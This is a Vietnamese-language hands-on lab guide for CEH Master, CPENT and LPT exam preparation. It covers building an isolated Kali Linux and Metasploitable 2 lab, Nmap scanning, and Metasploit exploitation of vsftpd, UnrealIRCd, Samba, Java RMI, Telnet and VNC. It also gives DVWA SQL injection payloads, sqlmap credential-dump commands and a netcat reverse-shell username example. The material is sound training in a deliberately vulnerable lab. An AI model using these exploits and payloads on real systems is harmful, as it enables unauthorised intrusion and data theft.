Luyện thi CEH Master, CPENT/LPT với Hacking Lab Kali Linux vs Metasploitable 2

Phần 1: Giới thiệu

Tài liệu này cung cấp hướng dẫn thực hành chi tiết trên môi trường lab ảo Metasploitable 2, được thiết kế đặc biệt để phục vụ mục đích học tập và ôn luyện cho các kỳ thi chứng chỉ bảo mật nâng cao như Certified Ethical Hacker (CEH) Master, Certified Penetration Testing Professional (CPENT) và Licensed Penetration Tester (LPT) Master. Metasploitable 2 là một máy ảo Linux được cố tình xây dựng với nhiều lỗ hổng bảo mật, tạo điều kiện lý tưởng để thực hành các kỹ thuật tấn công và phòng thủ.1

Việc làm chủ các kỹ năng thực hành trên Metasploitable 2 không chỉ giúp củng cố kiến thức lý thuyết mà còn trang bị kinh nghiệm thực tế cần thiết để đối mặt với các kịch bản tấn công phức tạp trong các kỳ thi và trong công việc thực tế. Các bài thực hành sẽ bao gồm nhiều giai đoạn của một cuộc kiểm thử xâm nhập, từ thu thập thông tin, quét lỗ hổng, khai thác, leo thang đặc quyền cho đến các kỹ thuật nâng cao hơn.

Các bài học chính từ lab này:

  • Nhận diện và khai thác lỗ hổng dịch vụ mạng: Hiểu cách các dịch vụ mạng phổ biến (FTP, SSH, Telnet, Samba, IRC, v.v.) có thể bị cấu hình sai hoặc chứa lỗ hổng và cách khai thác chúng.
  • Khai thác ứng dụng web: Thực hành các kỹ thuật tấn công web phổ biến như SQL Injection và Command Injection trên các ứng dụng web dễ bị tổn thương như DVWA.
  • Khai thác cơ sở dữ liệu: Tìm hiểu cách truy cập và khai thác các hệ quản trị cơ sở dữ liệu như MySQL và PostgreSQL với cấu hình yếu.
  • Leo thang đặc quyền: Nắm vững các phương pháp nâng cao quyền truy cập từ người dùng thông thường lên quyền quản trị cao nhất (root) trên hệ thống Linux.
  • Sử dụng thành thạo Metasploit Framework: Làm quen và vận dụng hiệu quả Metasploit để tự động hóa các bước trong quá trình kiểm thử xâm nhập.
  • Kỹ năng khai thác thủ công: Phát triển khả năng khai thác lỗ hổng mà không hoàn toàn phụ thuộc vào các công cụ tự động, một kỹ năng quan trọng cho các kỳ thi như CPENT/LPT.
  • Tư duy của kẻ tấn công và người phòng thủ: Hiểu rõ các vectơ tấn công giúp đưa ra các khuyến nghị bảo mật hiệu quả.

Các kỳ thi như CEH Master đòi hỏi khả năng áp dụng kiến thức vào các tình huống thực tế, giải quyết các thách thức bảo mật trong môi trường mô phỏng.3 CPENT và LPT (Master) còn đi sâu hơn, yêu cầu kỹ năng tấn công nâng cao, khai thác các hệ thống phức tạp, bao gồm cả mạng IoT, OT, cloud và khả năng viết exploit.4 Lab Metasploitable 2, mặc dù cơ bản, cung cấp nền tảng vững chắc cho tất cả các kỹ năng này.

Bảng 1: Ánh xạ Mục tiêu Thi cử với Bài thực hành Lab

Kỳ thiMục tiêu/Kỹ năng Chính được Kiểm traBài thực hành/Lỗ hổng Tương ứng trên Metasploitable 2
CEH Master 3Xác định vector tấn công, quét mạng, phát hiện HĐH, phân tích lỗ hổng, hack hệ thống, hack ứng dụng web (XSS, SQLi, v.v.), tấn công mật mã, phân tích lỗ hổng.Quét cổng với Nmap, Khai thác vsftpd, Telnet, Samba, UnrealIRCd, Java RMI, VNC, DVWA (SQLi, Command Injection), Leo thang đặc quyền (sudo, SUID, NFS).
CPENT 4Khai thác Windows và Linux nâng cao, Kỹ thuật leo thang đặc quyền, Bỏ qua cơ chế phòng thủ, Pentest ứng dụng web, Khai thác IoT và OT, Pentest Cloud và Container, Khai thác nhị phân (Buffer Overflow), Viết báo cáo.Khai thác các dịch vụ Linux (vsftpd, Samba, UnrealIRCd), Leo thang đặc quyền (sudo, SUID, NFS), Khai thác ứng dụng web (DVWA), Khai thác thủ công (vsftpd, Samba – xây dựng nền tảng).
LPT (Master) 6Pentest kiến trúc mạng đa lớp, đưa ra quyết định dưới áp lực, khai thác lỗ hổng HĐH, SSH tunneling, khai thác ứng dụng host-based, leo thang đặc quyền, khai thác web server và web application, pivoting đa cấp, tấn công IoT, ICS/SCADA, viết exploit.Khai thác các dịch vụ Linux, Leo thang đặc quyền nâng cao (NFS root squash), Khai thác thủ công, Hiểu cơ chế khai thác (nền tảng cho việc viết exploit và pivoting).

Phần 2: Các yêu cầu cần chuẩn bị

Để thực hiện các bài thực hành trong tài liệu này, cần chuẩn bị môi trường lab ảo với các thành phần phần mềm và yêu cầu phần cứng tối thiểu như sau:

  • 2.1. Phần cứng (Khuyến nghị):
  • Bộ xử lý (CPU): Quad-core 64-bit hoặc tốt hơn. Tốc độ tối thiểu cho VMware Player là 400MHz, nhưng không đủ cho mục đích của lab này.8
  • Bộ nhớ (RAM): Tối thiểu 4GB RAM. Khuyến nghị 8GB RAM trở lên để chạy mượt mà cả máy chủ (Windows), máy tấn công (Kali Linux) và máy mục tiêu (Metasploitable 2).
  • Kali Linux (Guest): Tối thiểu 1GB RAM, khuyến nghị 2GB trở lên.8
  • Metasploitable 2 (Guest): Tối thiểu 256MB RAM, khuyến nghị 512MB trở lên.8
  • Dung lượng ổ cứng: Tối thiểu 30GB dung lượng trống. Nên sử dụng định dạng NTFS hoặc ext3 do kích thước lớn của các file máy ảo.8 Kali Linux cần ít nhất 15GB.1
  • Kết nối Internet: Cần thiết để tải xuống phần mềm và cập nhật (tuy nhiên, trong quá trình thực hành, máy ảo Metasploitable 2 nên được cô lập khỏi mạng không tin cậy).
  • 2.2. Phần mềm:
  • Hệ điều hành máy chủ (Host OS): Windows 10 hoặc Windows 11.
  • Phần mềm ảo hóa (Hypervisor): VMware Workstation Player (phiên bản mới nhất). VMware Player được khuyến nghị vì tính tương thích tốt với Kali và Metasploitable.8
  • Máy ảo tấn công (Attacker VM): Kali Linux (phiên bản.ISO hoặc pre-built VM mới nhất).
  • Nên tải từ trang chính thức kali.org/get-kali/ để đảm bảo an toàn và tính toàn vẹn.9
  • Máy ảo mục tiêu (Target VM): Metasploitable 2.
  • Có thể tải xuống từ SourceForge dưới dạng file ZIP đã được chuẩn bị sẵn cho VMware.1

Phần 3: Hướng dẫn Cài đặt và Cấu hình Lab

Phần này hướng dẫn chi tiết các bước cài đặt và cấu hình môi trường lab ảo trên máy tính Windows sử dụng VMware Workstation Player.

  • 3.1. Cài đặt VMware Workstation Player trên Windows:
  1. Truy cập trang web chính thức của VMware để tải về phiên bản VMware Workstation Player mới nhất cho Windows.
  2. Chạy file cài đặt đã tải về và làm theo các hướng dẫn trên màn hình để hoàn tất quá trình cài đặt.
  3. Sau khi cài đặt xong, khởi động VMware Workstation Player.
  • 3.2. Tải và Cài đặt Máy ảo Metasploitable 2:
  1. Tải xuống: Truy cập SourceForge (http://sourceforge.net/projects/metasploitable/files/Metasploitable2/) để tải file Metasploitable-Linux-2.0.0.zip.1 Kích thước file khoảng 800MB.2
  2. Giải nén: Sau khi tải xong, giải nén file ZIP vào một thư mục trên máy tính của bạn (ví dụ: D:\VMs\Metasploitable2). Bạn sẽ thấy các file máy ảo, bao gồm file Metasploitable.vmx.1
  3. Mở máy ảo trong VMware:
  • Trong VMware Workstation Player, chọn “File” -> “Open…”.1
  • Duyệt đến thư mục chứa file Metasploitable.vmx đã giải nén và chọn file đó.1
  • Máy ảo Metasploitable 2 sẽ xuất hiện trong danh sách máy ảo của bạn.
  1. Cấu hình bộ nhớ (RAM):
  • Chọn máy ảo Metasploitable 2 trong danh sách.
  • Nhấp chuột phải và chọn “Settings…” hoặc chọn “Edit virtual machine settings”.
  • Trong tab “Hardware”, chọn “Memory”. Đặt RAM tối thiểu là 256MB, khuyến nghị 512MB hoặc cao hơn.8
  1. Khởi động và Đăng nhập:
  • Chọn máy ảo Metasploitable 2 và nhấp “Play virtual machine” hoặc “Run”.1
  • Sau khi máy ảo khởi động, màn hình đăng nhập sẽ xuất hiện.
  • Sử dụng thông tin đăng nhập mặc định: Username là msfadmin và Password là msfadmin.1
  1. Lưu ý quan trọng: KHÔNG BAO GIỜ để Metasploitable 2 kết nối trực tiếp với mạng không tin cậy (ví dụ: Internet công cộng). Luôn sử dụng chế độ mạng NAT hoặc Host-only.8
  • 3.3. Tải và Cài đặt Máy ảo Kali Linux:
  1. Tải xuống:
  • Truy cập trang tải xuống chính thức của Kali Linux: https://www.kali.org/get-kali/.9
  • Chọn phiên bản “Installer Images” (ISO) hoặc “Virtual Machines” (pre-built cho VMware).
  • Nếu tải ISO: Chọn phiên bản ISO phù hợp với kiến trúc máy tính của bạn (thường là 64-bit).
  • Nếu tải Pre-built VM: Tải file .7z hoặc .ova cho VMware.
  • Quan trọng: Luôn xác minh checksum SHA256 của file đã tải xuống với giá trị được cung cấp trên trang web chính thức của Kali để đảm bảo tính toàn vẹn và tránh tải phải file giả mạo.9 Trên Windows, có thể dùng lệnh certutil -hashfile <tên_file_iso> SHA256.9
  1. Cài đặt từ ISO (Nếu chọn tải file ISO):
  • Trong VMware Workstation Player, chọn “Create a New Virtual Machine”.12
  • Chọn “Installer disc image file (iso):” và duyệt đến file ISO Kali Linux đã tải.12
  • Chọn hệ điều hành khách là “Linux” và phiên bản là “Debian 10.x 64-bit” hoặc tương đương (Kali dựa trên Debian).1
  • Đặt tên cho máy ảo (ví dụ: “Kali Linux Attacker”) và chọn vị trí lưu trữ.
  • Cấu hình dung lượng ổ đĩa: Tối thiểu 15GB, khuyến nghị 20GB trở lên.1 Chọn “Store virtual disk as a single file” hoặc “Split virtual disk into multiple files” tùy ý.
  • Tùy chỉnh phần cứng (“Customize Hardware…”):
  • Memory: Tối thiểu 1GB, khuyến nghị 2GB hoặc cao hơn.1
  • Processors: Chọn số lượng core phù hợp (ví dụ: 2 cores).
  • Hoàn tất việc tạo máy ảo và khởi động nó.
  • Quá trình cài đặt Kali Linux sẽ bắt đầu. Làm theo các hướng dẫn trên màn hình (chọn ngôn ngữ, vị trí, cấu hình mạng, đặt mật khẩu root, phân vùng ổ đĩa – thường chọn “Guided – use entire disk”).
  • Sau khi cài đặt hoàn tất, máy ảo sẽ khởi động lại. Đăng nhập bằng tài khoản root và mật khẩu đã đặt.
  1. Cài đặt từ Pre-built VM (Nếu chọn tải file.7z hoặc.ova):
  • Với file.7z: Giải nén file .7z (có thể cần 7-Zip). Sau đó, trong VMware, chọn “File” -> “Open…” và duyệt đến file .vmx trong thư mục đã giải nén.11
  • Với file.ova: Trong VMware, chọn “File” -> “Open…” và duyệt đến file .ova. Làm theo hướng dẫn để import máy ảo.
  • Khi khởi động lần đầu, VMware có thể hỏi bạn đã “moved” hay “copied” máy ảo. Chọn “I Copied It”.11
  • Đăng nhập bằng thông tin đăng nhập mặc định (thường là kali:kali). Quan trọng: Thay đổi mật khẩu mặc định ngay sau khi đăng nhập bằng lệnh passwd.11
  1. Cập nhật Kali Linux (Khuyến nghị):
  • Mở Terminal trong Kali Linux.
  • Chạy các lệnh sau để cập nhật hệ thống và Metasploit Framework:
    Bash
    sudo apt update
    sudo apt full-upgrade -y
    sudo apt autoremove -y
  • Metasploit thường được cập nhật cùng với hệ thống. Nếu cần cập nhật riêng Metasploit (thường không cần thiết nếu hệ thống đã được cập nhật đầy đủ), có thể dùng msfupdate.
  • 3.4. Cấu hình Mạng VMware (Host-Only):
    Để tạo một môi trường lab an toàn và cô lập, nơi máy tấn công Kali Linux có thể giao tiếp với máy mục tiêu Metasploitable 2 mà không để Metasploitable 2 tiếp xúc với mạng bên ngoài, chúng ta sẽ sử dụng chế độ mạng “Host-Only”.
  1. Hiểu các chế độ mạng VMware 13:
  • Bridged: Máy ảo kết nối trực tiếp vào mạng vật lý của máy chủ, nhận địa chỉ IP từ router của mạng đó. Máy ảo hoạt động như một thiết bị riêng biệt trên mạng. Không an toàn cho Metasploitable 2.
  • NAT (Network Address Translation): Máy ảo chia sẻ địa chỉ IP của máy chủ để truy cập mạng bên ngoài. Máy ảo nằm trong một mạng riêng ảo do VMware tạo ra. An toàn hơn Bridged nhưng vẫn có thể cho phép Metasploitable 2 truy cập Internet nếu máy chủ có.
  • Host-Only: Tạo một mạng ảo riêng biệt chỉ tồn tại giữa máy chủ và các máy ảo. Các máy ảo trong mạng Host-Only có thể giao tiếp với nhau và với máy chủ, nhưng không thể truy cập mạng bên ngoài (Internet) trừ khi được cấu hình đặc biệt (không khuyến khích cho lab này). Đây là chế độ an toàn nhất và được khuyến nghị cho lab Metasploitable 2.
  1. Cấu hình cho Metasploitable 2:
  • Tắt máy ảo Metasploitable 2 (nếu đang chạy).
  • Trong VMware, chọn máy ảo Metasploitable 2, sau đó vào “Settings…” -> “Network Adapter”.
  • Chọn “Host-only: A private network shared with the host”.
  • Nhấn “OK”.
  1. Cấu hình cho Kali Linux:
  • Tắt máy ảo Kali Linux (nếu đang chạy).
  • Trong VMware, chọn máy ảo Kali Linux, sau đó vào “Settings…” -> “Network Adapter”.
  • Chọn “Host-only: A private network shared with the host”.
  • Nhấn “OK”.
  1. Kiểm tra cấu hình mạng:
  • Khởi động cả hai máy ảo.
  • Trên Metasploitable 2: Đăng nhập bằng msfadmin:msfadmin. Mở terminal và gõ lệnh ifconfig để xem địa chỉ IP (thường là eth0).2 Ghi lại địa chỉ IP này.
  • Trên Kali Linux: Mở terminal và gõ lệnh ip addr show (hoặc ifconfig) để xem địa chỉ IP. Địa chỉ IP của Kali Linux phải cùng dải mạng với Metasploitable 2 (ví dụ: nếu Metasploitable 2 là 192.168.X.128, Kali có thể là 192.168.X.129).
  • Kiểm tra kết nối: Từ Kali Linux, thử ping đến địa chỉ IP của Metasploitable 2: ping <IP_Metasploitable2>. Nếu nhận được phản hồi, kết nối mạng đã thành công.
  1. Thiết lập SSH Server trên Kali Linux (Tùy chọn nhưng hữu ích):
    Mặc dù không bắt buộc cho tất cả các bài lab, việc có SSH server chạy trên Kali cho phép bạn dễ dàng sao chép file hoặc làm việc từ xa với Kali từ máy host Windows nếu cần.
  • Kiểm tra trạng thái SSH: sudo service ssh status.1
  • Nếu chưa chạy, khởi động SSH: sudo service ssh start.1
  • Để SSH tự khởi động cùng hệ thống (Kali thường có các biện pháp bảo vệ chống lại việc này):
  • Chỉnh sửa file blacklist: sudo nano /etc/rc.local.d/rc.local.blacklist (đường dẫn có thể khác tùy phiên bản Kali, hoặc file tương tự như update-rc.d -f ssh remove). Tìm dòng ssh và thêm dấu # ở đầu để vô hiệu hóa nó.1
  • Kích hoạt SSH khởi động cùng hệ thống: sudo systemctl enable ssh hoặc sudo update-rc.d ssh enable.1
  • Khởi động lại Kali và kiểm tra lại.

Với các bước trên, môi trường lab ảo đã sẵn sàng cho các bài thực hành. Việc sử dụng chế độ “Host-Only” đảm bảo rằng Metasploitable 2, một máy ảo cố tình dễ bị tấn công, được cô lập an toàn khỏi mạng Internet và mạng nội bộ của bạn, trong khi vẫn cho phép máy tấn công Kali Linux tương tác với nó. Điều này rất quan trọng, vì Metasploitable 2 chứa nhiều lỗ hổng nghiêm trọng và không nên bị lộ ra ngoài môi trường lab được kiểm soát.8

Phần 4: Hướng dẫn Thực hành Chi tiết

Phần này sẽ đi sâu vào việc khai thác các lỗ hổng cụ thể trên Metasploitable 2, sử dụng Kali Linux làm máy tấn công. Mỗi bài thực hành sẽ bao gồm thông tin về lỗ hổng, các bước khai thác bằng Metasploit Framework và, trong một số trường hợp, các phương pháp thủ công.

  • 4.1. Giai đoạn 1: Thu thập Thông tin và Quét Lỗ hổng (Reconnaissance & Scanning)
    Mục tiêu của giai đoạn này là xác định các dịch vụ đang chạy trên máy mục tiêu và các lỗ hổng tiềm ẩn.
  • 4.1.1. Xác định Địa chỉ IP của Metasploitable 2:
  • Đăng nhập vào Metasploitable 2 bằng msfadmin:msfadmin.
  • Mở terminal và chạy lệnh: ifconfig.2
  • Ghi lại địa chỉ IP của card mạng eth0 (ví dụ: 192.168.X.Y). Đây sẽ là <IP_Metasploitable2> trong các lệnh tiếp theo.
  • 4.1.2. Quét cổng và Dịch vụ bằng Nmap:
    Nmap là một công cụ quét mạng mạnh mẽ để khám phá host và dịch vụ.
  • Từ máy Kali Linux, mở terminal và thực hiện các lệnh quét sau:
  • Quét nhanh các cổng phổ biến:
    Bash
    nmap -sV <IP_Metasploitable2>

    Lệnh này thực hiện quét SYN (-sS là mặc định khi chạy với quyền root, nếu không sẽ là TCP connect scan), và cố gắng xác định phiên bản dịch vụ (-sV).
  • Quét toàn bộ các cổng TCP và phát hiện hệ điều hành:
    Bash
    sudo nmap -p- -sV -O <IP_Metasploitable2>
    -p- quét tất cả 65535 cổng TCP 15,
    -O cố gắng phát hiện hệ điều hành.
  • Quét với script mặc định để tìm lỗ hổng cơ bản:
    Bash
    sudo nmap -sV -sC <IP_Metasploitable2>

    -sC chạy các script mặc định của Nmap (NSE – Nmap Scripting Engine), có thể phát hiện một số lỗ hổng phổ biến.
  • Phân tích kết quả Nmap: Kết quả Nmap sẽ liệt kê các cổng đang mở, dịch vụ đang chạy trên các cổng đó và phiên bản của chúng.15 Một số dịch vụ đáng chú ý trên Metasploitable 2 thường bao gồm: * FTP (cổng 21 – vsftpd, cổng 2121 – ProFTPD) * SSH (cổng 22 – OpenSSH) * Telnet (cổng 23) * SMTP (cổng 25 – Postfix) * DNS (cổng 53 – BIND) * HTTP (cổng 80 – Apache, cổng 8180 – Apache Tomcat) * RPC (cổng 111) * NetBIOS/Samba (cổng 139, 445) * RMI Registry (cổng 1099) * MySQL (cổng 3306) * PostgreSQL (cổng 5432) * VNC (cổng 5900) * IRC (cổng 6667 – UnrealIRCd) * Distccd (cổng 3632) Việc xác định chính xác phiên bản dịch vụ là cực kỳ quan trọng, vì nhiều exploit chỉ hoạt động trên các phiên bản cụ thể. Ví dụ, biết được vsftpd đang chạy phiên bản 2.3.4 là chìa khóa để tìm ra exploit backdoor.16 Tương tự, phiên bản UnrealIRCd 3.2.8.1 cũng có một backdoor nổi tiếng.16
  • 4.2. Giai đoạn 2: Khai thác Lỗ hổng Dịch vụ Mạng
    Dựa trên kết quả quét của Nmap, chúng ta sẽ tiến hành khai thác các dịch vụ có lỗ hổng.
  • 4.2.1. Khai thác vsftpd 2.3.4 Backdoor (Cổng 21)
  • Thông tin: Phiên bản vsftpd 2.3.4 trên Metasploitable 2 chứa một backdoor cố ý, cho phép thực thi lệnh từ xa với quyền root nếu tên người dùng chứa chuỗi :).16
  • Khai thác bằng Metasploit 16:
  • Khởi động Metasploit console trên Kali: msfconsole
  • Tìm kiếm exploit cho vsftpd 2.3.4:
    msf6 > search vsftpd
  • Chọn exploit phù hợp (thường là exploit/unix/ftp/vsftpd_234_backdoor):
    msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
  • Xem các tùy chọn cần thiết:
    msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

    Bạn sẽ thấy RHOSTS (Remote Hosts – IP mục tiêu) là bắt buộc.
  • Đặt IP mục tiêu:
    msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS <IP_Metasploitable2>
  • (Tùy chọn) Xem các payload có sẵn: show payloads. Payload mặc định thường là cmd/unix/interact.
  • Chạy exploit:
    msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
  • Kết quả: Nếu thành công, bạn sẽ nhận được một shell với quyền root (uid=0(root) gid=0(root)) trên Metasploitable 2.
  • Việc khai thác này thành công vì mã nguồn của vsftpd phiên bản 2.3.4 đã bị chèn một đoạn mã độc. Khi người dùng đăng nhập với một tên người dùng kết thúc bằng :), một hàm ẩn sẽ được kích hoạt, mở một shell lắng nghe trên cổng 6200. Module Metasploit tự động hóa việc gửi tên người dùng đặc biệt này và sau đó kết nối đến cổng 6200 để giành quyền kiểm soát. Đây là một ví dụ điển hình về lỗ hổng do mã độc được chèn vào phần mềm (supply chain attack ở mức độ cơ bản).
  • 4.2.2. Khai thác Telnet (Cổng 23) với Thông tin Đăng nhập Mặc định
  • Thông tin: Dịch vụ Telnet trên Metasploitable 2 cho phép đăng nhập bằng tài khoản msfadmin với mật khẩu msfadmin.16
  • Khai thác thủ công:
  • Từ Kali, mở terminal và gõ:
    Bash
    telnet <IP_Metasploitable2>
  • Khi được hỏi login:, nhập msfadmin.
  • Khi được hỏi Password:, nhập msfadmin.
  • Kết quả: Bạn sẽ đăng nhập thành công vào Metasploitable 2 với quyền của user msfadmin.
  • Khai thác bằng Metasploit (Login Scanner):
  • msf6 > use auxiliary/scanner/telnet/telnet_login
  • msf6 auxiliary(scanner/telnet/telnet_login) > set RHOSTS <IP_Metasploitable2>
  • msf6 auxiliary(scanner/telnet/telnet_login) > set USERNAME msfadmin
  • msf6 auxiliary(scanner/telnet/telnet_login) > set PASSWORD msfadmin
  • (Hoặc sử dụng USER_FILE và PASS_FILE để thử nhiều thông tin đăng nhập)
  • msf6 auxiliary(scanner/telnet/telnet_login) > run
  • Kết quả: Metasploit sẽ báo cáo nếu đăng nhập thành công.
  • Telnet là một giao thức cũ và không an toàn vì nó truyền dữ liệu, bao gồm cả tên người dùng và mật khẩu, dưới dạng văn bản thuần túy, dễ bị nghe lén. Việc sử dụng thông tin đăng nhập mặc định hoặc yếu là một lỗi cấu hình phổ biến làm tăng nguy cơ bị xâm nhập.
  • 4.2.3. Khai thác UnrealIRCd 3.2.8.1 Backdoor (Cổng 6667)
  • Thông tin: Phiên bản UnrealIRCd 3.2.8.1 trên Metasploitable 2 cũng chứa một backdoor, cho phép thực thi lệnh từ xa.16 Lỗ hổng này (CVE-2010-2075) xuất hiện do một file tar.gz độc hại được phân phối trong một khoảng thời gian.20
  • Khai thác bằng Metasploit 16:
  • msf6 > search unrealircd
  • msf6 > use exploit/unix/irc/unreal_ircd_3281_backdoor
  • msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set RHOSTS <IP_Metasploitable2>
  • (Payload mặc định thường là cmd/unix/reverse, cần đặt LHOST là IP của Kali)
  • msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set LHOST <IP_Kali>
  • msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit
  • Kết quả: Bạn sẽ nhận được một shell (thường không phải root ngay) trên Metasploitable 2.
  • Backdoor này được kích hoạt bằng cách gửi một chuỗi đặc biệt đến server IRC. Khi server nhận được chuỗi này, nó sẽ thực thi một lệnh hệ thống. Module Metasploit tự động hóa việc gửi chuỗi này và thiết lập một reverse shell.
  • 4.2.4. Khai thác Samba “username map script” (Cổng 139/445)
  • Thông tin: Các phiên bản Samba từ 3.0.20 đến 3.0.25rc3 dễ bị tấn công thực thi lệnh từ xa nếu tùy chọn username map script được kích hoạt trong file cấu hình smb.conf. Metasploitable 2 có cấu hình này.17 Lỗ hổng này là CVE-2007-2447. Kẻ tấn công có thể chèn các ký tự đặc biệt của shell vào tên người dùng để thực thi lệnh tùy ý mà không cần xác thực.21
  • Khai thác bằng Metasploit 21:
  • msf6 > search samba usermap
  • msf6 > use exploit/multi/samba/usermap_script
  • msf6 exploit(multi/samba/usermap_script) > set RHOSTS <IP_Metasploitable2>
  • (Payload mặc định thường là cmd/unix/reverse_perl hoặc tương tự, cần đặt LHOST)
  • msf6 exploit(multi/samba/usermap_script) > set LHOST <IP_Kali>
  • msf6 exploit(multi/samba/usermap_script) > exploit
  • Kết quả: Bạn sẽ nhận được một shell với quyền root trên Metasploitable 2.
  • Tùy chọn username map script trong Samba cho phép quản trị viên chỉ định một script bên ngoài để ánh xạ tên người dùng trước khi xác thực. Nếu script này được gọi bằng một lệnh shell mà không lọc đầu vào đúng cách, kẻ tấn công có thể truyền các lệnh tùy ý thông qua tên người dùng. Ví dụ, một tên người dùng như root /bin/bash -c “nc <IP_Kali> <Port> -e /bin/bash” có thể được sử dụng. Module Metasploit tạo ra một tên người dùng chứa payload được mã hóa để thực thi.
  • 4.2.5. Khai thác Java RMI Server (Cổng 1099)
  • Thông tin: Dịch vụ Java Remote Method Invocation (RMI) trên cổng 1099 của Metasploitable 2 có cấu hình mặc định không an toàn, cho phép tải và thực thi mã từ xa.16
  • Khai thác bằng Metasploit 16:
  • msf6 > search java_rmi_server
  • msf6 > use exploit/multi/misc/java_rmi_server
  • msf6 exploit(multi/misc/java_rmi_server) > set RHOSTS <IP_Metasploitable2>
  • (Payload mặc định thường là java/meterpreter/reverse_tcp, cần đặt LHOST)
  • msf6 exploit(multi/misc/java_rmi_server) > set LHOST <IP_Kali>
  • msf6 exploit(multi/misc/java_rmi_server) > exploit
  • Kết quả: Bạn sẽ nhận được một Meterpreter shell với quyền root.
  • RMI cho phép các đối tượng Java trên một máy ảo Java (JVM) gọi các phương thức trên các đối tượng Java đang chạy trên một JVM khác, có thể ở trên một máy khác. Nếu registry RMI được cấu hình để cho phép tải các lớp từ một URL từ xa (thông qua thuộc tính java.rmi.server.useCodebaseOnly=false), kẻ tấn công có thể trỏ registry đến một máy chủ độc hại chứa các lớp Java đã được chế tạo. Khi một client kết nối và yêu cầu một đối tượng từ registry, registry sẽ tải lớp độc hại từ máy chủ của kẻ tấn công và thực thi nó, dẫn đến thực thi mã từ xa.
  • 4.2.6. Khai thác VNC (Cổng 5900) với Mật khẩu Yếu
  • Thông tin: Dịch vụ VNC (Virtual Network Computing) trên Metasploitable 2 được bảo vệ bằng một mật khẩu rất yếu là “password”.16
  • Khai thác thủ công:
  • Từ Kali, cài đặt một VNC client nếu chưa có (ví dụ: xtightvncviewer).
    Bash
    sudo apt install xtightvncviewer
  • Kết nối đến VNC server:
    Bash
    vncviewer <IP_Metasploitable2>:5900

    (Hoặc chỉ <IP_Metasploitable2> nếu client tự động thử cổng 5900).
  • Khi được hỏi mật khẩu, nhập password.
  • Kết quả: Bạn sẽ có quyền truy cập vào màn hình desktop của Metasploitable 2 với quyền root.
  • Khai thác bằng Metasploit (Login Scanner):
  • msf6 > use auxiliary/scanner/vnc/vnc_login
  • msf6 auxiliary(scanner/vnc/vnc_login) > set RHOSTS <IP_Metasploitable2>
  • msf6 auxiliary(scanner/vnc/vnc_login) > set PASSWORD password (hoặc dùng PASS_FILE)
  • msf6 auxiliary(scanner/vnc/vnc_login) > run
  • Việc sử dụng mật khẩu yếu hoặc mặc định cho các dịch vụ truy cập từ xa như VNC là một rủi ro bảo mật nghiêm trọng, cho phép bất kỳ ai biết mật khẩu có thể dễ dàng chiếm quyền điều khiển hệ thống.
  • 4.3. Giai đoạn 3: Khai thác Lỗ hổng Ứng dụng Web (Cổng 80)
    Metasploitable 2 host nhiều ứng dụng web dễ bị tổn thương trên cổng 80, bao gồm cả Damn Vulnerable Web Application (DVWA).
  • 4.3.1. Truy cập DVWA:
  • Mở trình duyệt web trên Kali Linux.
  • Truy cập địa chỉ: http://<IP_Metasploitable2>/dvwa/
  • Đăng nhập bằng thông tin mặc định: Username là admin, Password là password.
  • Sau khi đăng nhập, vào mục “DVWA Security” và đặt mức độ bảo mật (security level) thành “Low” để dễ dàng thực hành các lỗ hổng cơ bản.22
  • 4.3.2. DVWA: SQL Injection (Mức độ Low)
  • Thông tin: Lỗ hổng SQL Injection (SQLi) xảy ra khi ứng dụng web không lọc đúng đầu vào của người dùng trước khi đưa vào câu lệnh SQL, cho phép kẻ tấn công chèn các lệnh SQL tùy ý.22
  • Thực hành thủ công 22:
  • Vào mục “SQL Injection” trong DVWA.
  • Trong ô “User ID”, thử các payload sau:
  • Để lấy phiên bản cơ sở dữ liệu và user hiện tại: 1′ UNION SELECT @@version, user()# hoặc 1′ UNION SELECT NULL, @@version — hoặc tương tự any’ union select database(),user()’# từ.22
  • Để lấy tên các bảng từ information_schema: 1′ UNION SELECT NULL, table_name FROM information_schema.tables#
  • Để lấy tên các cột từ bảng users trong database dvwa: 1′ UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name=’users’ AND table_schema=’dvwa’# hoặc tương tự any’ union select column_name,column_type from information_schema.columns where table_schema=’dvwa’and table_name=”users”#’ từ.22
  • Để lấy dữ liệu từ bảng users (ví dụ: user và password): 1′ UNION SELECT user, password FROM users#
  • Ký tự ‘ dùng để phá vỡ chuỗi SQL gốc. UNION SELECT dùng để nối kết quả của một câu lệnh SELECT khác. NULL được dùng để khớp với số lượng cột trong câu lệnh SELECT gốc. — hoặc # dùng để ghi chú phần còn lại của câu lệnh SQL gốc, tránh lỗi cú pháp.
  • Sử dụng SQLMap (Tùy chọn) 23:

    SQLMap là một công cụ tự động hóa mạnh mẽ để phát hiện và khai thác lỗ hổng SQL Injection.
  • Đầu tiên, lấy cookie session của DVWA sau khi đăng nhập. Mở Developer Tools của trình duyệt (thường là F12), vào tab “Network”, làm mới trang DVWA, chọn một request, và tìm giá trị cookie (thường là PHPSESSID và security).
  • Chạy các lệnh SQLMap từ terminal Kali:
    Bash
    sqlmap -u “http://<IP_Metasploitable2>/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#&#8221; –cookie=”PHPSESSID=<giá_trị_PHPSESSID>; security=low” –dbs
    sqlmap -u “http://<IP_Metasploitable2>/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#&#8221; –cookie=”PHPSESSID=<giá_trị_PHPSESSID>; security=low” -D dvwa –tables
    sqlmap -u “http://<IP_Metasploitable2>/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#&#8221; –cookie=”PHPSESSID=<giá_trị_PHPSESSID>; security=low” -D dvwa -T users –columns
    sqlmap -u “http://<IP_Metasploitable2>/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#&#8221; –cookie=”PHPSESSID=<giá_trị_PHPSESSID>; security=low” -D dvwa -T users -C user,password –dump
